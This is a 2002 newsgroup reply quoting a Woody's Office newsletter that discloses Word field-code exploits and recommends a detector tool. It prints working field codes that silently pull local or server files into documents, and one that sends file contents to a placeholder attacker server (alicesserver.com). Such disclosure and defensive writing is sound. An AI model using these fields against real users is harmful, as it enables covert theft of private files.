Re: Is this a hoax or real?
From: Ned Flanders (nedfla@hotmail.com)
Date: 10/07/02
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From: "Ned Flanders" <nedfla@hotmail.com> Date: Mon, 7 Oct 2002 14:00:46 -0500
It's a real utility, if that's what you're asking. Woody's Office Watch is
a legit publication also - I've been a fan for years.
"Altan" <natla27@yahoo.com> wrote in message
news:13f1401c26e33$088003f0$3bef2ecf@TKMSFTNGXA10...
I just got this email from a friend that says to use Bill
Coan's free Hidden File Detector software. Is this a
virus, hoax or something real. I tried symantec and
microsoft but couldn't find anything. Any guru out their
know if this is true?
Thanks
p.s I deleted the names from the sent to and the from
lines.
Date: Thu, 3 Oct 2002 17:04:19 -0400
Subject: FW: Woodys Office Watch -MM #3.24
-----------------------------------------------------------
---------------------
-----Original Message-----
Sent: Tuesday, October 01, 2002 2:50 PM
Subject: FW: Woodys Office Watch -MM #3.24
Importance: High
Sensitivity: Confidential
Here is a copy of a WORD 97/2000 newsletter that I think
should be held in
confidence.
This issue brings to light a Microsoft WORD problem that,
if true, then
management should be very concerned.
However, I'd highly recommend you DON'T pass this email on
to others .
I'd recommend that we send employees the listed fix (Bill
Coan's free Hidden
File Detector software), but I'd suggest that you don't
show employees how
to write the spy code by sending them a copy of this
email. I, for one,
wouldn't want them to be playing around to see if it
really works by having
them test it. It could be disastrous for all if the spy
code really does work.
v/r
Bob
-----Original Message-----
From: bounce-wowmm-18452794@lists.woodyswatch.com
[mailto:bounce-wowmm-18452794@lists.woodyswatch.com]On
Behalf Of Woody's
Office for Mere Mortals
Sent: Tuesday, October 01, 2002 12:47 PM
To:
Subject: WOW-MM #3.24 - Alice and spilling beans
--==>> WOODY's OFFICE FOR MERE MORTALS <<==--
The in-depth, tutorial side of Woody's Office Watch
from
Woody Leonhard, Certified Office Victim
2 October 2002 Vol 3 No 24
1. Spilling Some Beans
2. Recap: {Includetext} and Autoupdating
3. Alex and Richard's "Word Phones Home" Exploit
4. {DDEAuto} Automatically Delivers File Names
5. Relative Path Names
6. Secure Servers
7. Keep Mere Mortals Alive and Free
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~~~~
1. SPILLING SOME BEANS
Alex Gantman dropped the bomb his "Document Collaboration
Spyware" attack about five weeks ago. Microsoft's
response,
to date, has been one press release that doesn't even
begin
to hint at the severity of the problem. That's it. No
security bulletin. No public warning. No interim
solutions.
Zip. Nada.
I've been trying to get 'Softie Management to commit to
fixing this huge security hole in Word 97 - Microsoft's
most-widely-used "orphan" product - because tens of
millions of people still use Word 97. (There's no
question
MS will have to fix Word 2000 and 2002.)
I haven't heard a word out of Redmond. In fact, I've been
getting the runaround. Several of you have reported that
Microsoft's local marketing reps are saying, "Of course
we'll fix Word 97." Frankly, given Office management's
track record, until we see something carved in stone, I
don't believe it. And I bet most of the marketing folks
don't really believe it either.
I promised that, if Microsoft didn't commit to fixing
Word
97, I'd start to give you lots of reasons why you should
be
very, very concerned about using Word - any version - in
any sort of business environment.
This week, I'll make good on my promise.
If MS Management hasn't publicly committed to fixing Word
97 by next week, I'll show you even more.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~~~~
2. RECAP: {INCLUDETEXT} AND AUTOUPDATING
In the last three issues of WOW-MM, I stepped you through
the process of creating Alex's original "spy" field. In a
nutshell, here's how it works:
Alice is the bad guy. She knows the precise name and
location of a file that Bob, the good guy, can get to.
Alice sends Bob a Word document, asking him to make
changes
to it and send it back. When the document comes back, it
contains the entire contents of the pilfered file Alice
wanted to see.
If Bob is using Word 97 or 2000, the "spy" process takes
place automatically and silently - Bob only has to tell
Word to save changes after he's made his edits. If Bob is
using Word 2002 (the version in Office XP), Alice has to
convince him to "update the fields" in the document. The
simplest way to do that is to convince Bob to print the
document.
There are no macros involved. Nothing that will trigger
any
antivirus program. The pilfered document isn't visible
from
Word, no matter what settings you jimmy. As of this
moment
- until Microsoft fixes the hole - Bob's only protection
(unless he's savvy enough to find and identify a "spy"
field code) is Bill Coan's Hidden File Detector
(http://www.woodyswatch.com/util/sniff/ or
http://www.wordsite.com/HiddenFileDetector.html ), which
I
talked about last week.
Technical note. Alex's original "spy" field code looks
like
this:
{If {IncludeText {If { Date } = { Date } "c:\\a.txt"
"c:\\a.txt"} } = "" "" }
and it pilfers the file automatically because Word 97 and
2000 can be coaxed into automatically updating {Date}
fields and their surrounding {includetext} fields.
It gets worse.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~~~~
3. ALEX AND RICHARD'S "WORD PHONES HOME" EXPLOIT
If you're the least bit comfortable with the "Document
Collaboration Spyware" exploit, you should look at Alex's
latest discovery, which he made public on September 19.
Alex and Richard Edwards discovered that Alice can spy on
Bob in a much more devious manner. I call it the "Word
Phones Home" exploit.
Alice has her own Web server. She knows which file she
wants to pilfer from Bob. She sends Bob a Word document.
Bob opens the document and, if he's connected to the
Internet, Word sends the contents of the pilfered file to
Alice's server.
That's it. Bob doesn't have to save the document or send
it
back to Alice. If Bob's using Word 97 or 2000, the
pilfered
file shows up on Alice's server automatically. If he's
using Word 2002, Alice has to convince Bob to update the
fields in the document - once again, most readily by
convincing him to print the document. But there are no
macros. No antivirus software catches it. There's nothing
Bob can do besides running Bill Coan's Hidden File
Detector
- which DOES pick up this exploit.
There are some limitations. As far as Alex or Richard (or
I) can tell, Word won't send more than about 230-or-so
characters to the server. It's possible that some
specific
characters in the pilfered file will prevent all the
contents of the file from showing up on Alice's server.
Alice can pilfer more than a file. For example, in Word
97
and 2000, Alice can set things up so Bob's name
automatically gets sent to the server, too. (More
precisely, Alice can send the current contents of the
Tools
| Options | User Information | Name entry. So if Bob
sends
a copy of Alice's document to Steve, when Steve opens it,
Alice's server gets Steve's name, too.) If Bob (or Steve)
is using Word 2002, Alice needs to convince Bob (or
Steve)
to update fields before the current user name will be
sent.
Alice can also get the full file name of her snoopy
document, including the path. So if Alice sends Bob a
contract, and Bob sticks the contracts in with his other
contracts, Alice's server will "see" where it's stored.
Since the full-blown "Document Collaboration Spyware"
exploit requires a precise file name and location, the
path
to the document could be very important information.
Or maybe not.
If Richard Smith's "Web bugs" worried you
(http://www.privacyfoundation.org/resources/webbug.asp ),
this hole in Word should have you catatonic.
Alex and Richard illustrate the "Word Phone Home" exploit
with this example:
{ INCLUDEPICTURE { QUOTE "http:\\www.alicesserver.com\"
& {
FILENAME \p } & { INCLUDETEXT "c:\\a.txt" } } \d }
That would send the contents of c:\a.txt and the path of
the current file to Alice's server.
In the real world, this field would be gussied up with
the
automatic-firing {date} field and hidden with the
stealthy
{if} field that Alex used to such devastating effect in
the
"Document Collaboration Spyware" exploit.
Still, Bill Coan's Hidden File Detector finds it.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~~~~
4. {DDEAUTO} AUTOMATICALLY DELIVERS FILE NAMES
I promised that I wouldn't divulge any of the other
exploits that I've uncovered, as long as I was convinced
Microsoft was working diligently to solve the problem.
My patience is wearing thin. Every single Word user has
his
(or her) keester hanging out on this one. Microsoft...
oh,
don't get me started again.
So far, everything I've shown you has been published
elsewhere. The bad guys already know about the problems.
You should know about them, too.
This next security hole, which uses Word's {ddeauto}
field,
has already been published, too. In fact, it appeared in
an
ancient book that came out ten years ago: Addison-
Wesley's
"Windows 3.1 Programming for Mere Mortals". Written by
some
dude named Woody Leonhard.
(In fact, the name of this newsletter - "Woody's Office
for
Mere Mortals" - owes more than a little to the title of
that book. I love it when a plan comes together.)
Okay. Alice's number-one problem is finding precise file
names and paths, right? She needs them to feed both the
"Document Collaboration Spyware" exploit and the "Word
Phones Home" exploit. Alice gets a lot of chances: one
document can contain dozens, if not hundreds, of "spy"
fields. So if she can get a good path, she can guess at
file names till she's tired of typing.
I haven't figure out how to use Word fields to produce a
complete list of all the paths or files on a PC. But I
figured out - and published - more than a decade ago a
trick that makes Word divulge a list of all currently
open
files, including their paths. That isn't quite the Holy
Grail. But it could make for an interesting Monty Python
routine.
Here's the field that produces a full list of all of
Word's
currently open files, including their paths:
{ddeauto winword system topics}
There are ways to make that field autoupdate, and to make
Word hide the results.
Coupled with the Alex and Richard's "Word Phone Home"
exploit, the possibilities get even more interesting.
Alice
creates a document and sends it to Bob. Every time Bob
opens the document, Alice's Web server surreptitiously
receives a list of all the documents Bob currently has
open. Alice sees a juicy file on the list, and sends Bob
another document that pilfers it.
You still sure you want to use Word?
But wait. It gets worse.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~~~~
5. RELATIVE PATH NAMES
In fact, Alice doesn't need to know the precise path of
the
file she wants to pilfer. She can use relative path
names,
just like anybody else. In either the "Document
Collaboration Spyware" or "Word Phones Home" exploits,
this
works fine:
{includetext contract.doc}
Word picks up the file contract.doc from the current
folder. You don't need the path. Er, Alice doesn't need
the
path.
YODA in Woody's WINDOWS Watch ranted about this mistake
in Microsoft's
press
release. MS is wrong. YODA is right. Much as it pains me
to
admit it. YODA said Microsoft was lying, I don't go that
far but it is hard to understand how the company could
make
such a statement when some simple testing would have
shown
it to be false. And there's been no correction published
so the falsehood still stands as I type this.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~~~~
6. \\\\SECURE SERVERS
I'll end this little expose with an observation that
hasn't
yet been published, but one that's pretty obvious. In
fact,
Word 2002 will do all the dirty work for you.
If Bob has access to a file on a secure server, say
\\secureserver\topsecret\contracts.doc
It's very easy to create an {includetext} field that will
pull that file into a Word document. If you use Word
2002's
Insert | Field command, Word will create the field for
you.
It looks like this:
{includetext "\\\\secureserver\\topsecret\\contracts.doc"}
If you have read permission for a sensitive file on your
company's server, you might want to give that field a
try.
Just click Insert | Field, pick Includetext and follow
the
instructions.
Go ask Alice.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~~~~
7. WHERE NEXT?
Fortunately, every single exploit I discussed in this
edition of WOW-MM will be caught by Bill Coan's (FREE!)
Hidden File Detector. If you have any sensitive documents
at all, you need to run HFD on every single document that
you receive from someone else. Download it and use it.
http://www.woodyswatch.com/util/sniff/ or
http://www.wordsite.com/HiddenFileDetector.html
Microsoft needs to fix the problems, fast,
comprehensively,
without completely screwing up Word fields. Frankly, I
don't know how they can do it. But that's why they make
the
big bucks, eh?
As for me, I'll keep jumping up and down, yelling my head
off about these field problems. If Microsoft doesn't
publicly announce that a fix for Word 97 is coming, I'll
continue to pepper you with examples that'll curl your
hair. If you find a field security problem, shoot me
mail!
mailto:talk2woody@woodyswatch.com?subject=SecurityHoles
P.S. If you use Word, you should be livid by now.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~~~~
8. KEEP MERE MORTALS ALIVE AND FREE
If you like the no-nonsense style you see in this
newsletter - the straight scoop, whether Microsoft likes
it
or not, dished out in a way that won't put you to sleep -
get one of my books!
"Windows XP All-In-One Desk Reference For Dummies",
Hungry Minds
http://www.woodyswatch.com/l.asp?0764515489
"Special Edition Using Microsoft Office XP" with Ed
Bott, Que
http://www.woodyswatch.com/l.asp?0789725134
"Special Edition Using Microsoft Office 2000" with Ed
Bott, Que
http://www.woodyswatch.com/l.asp?0789718421
"Woody Leonhard Teaches Office 2000", Que
http://www.woodyswatch.com/l.asp?0789718715
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Woody's OFFICE for Mere Mortals
Copyright 2002 by Peter Deegan. All rights reserved.
ISSN 1443-7252.
======================================================
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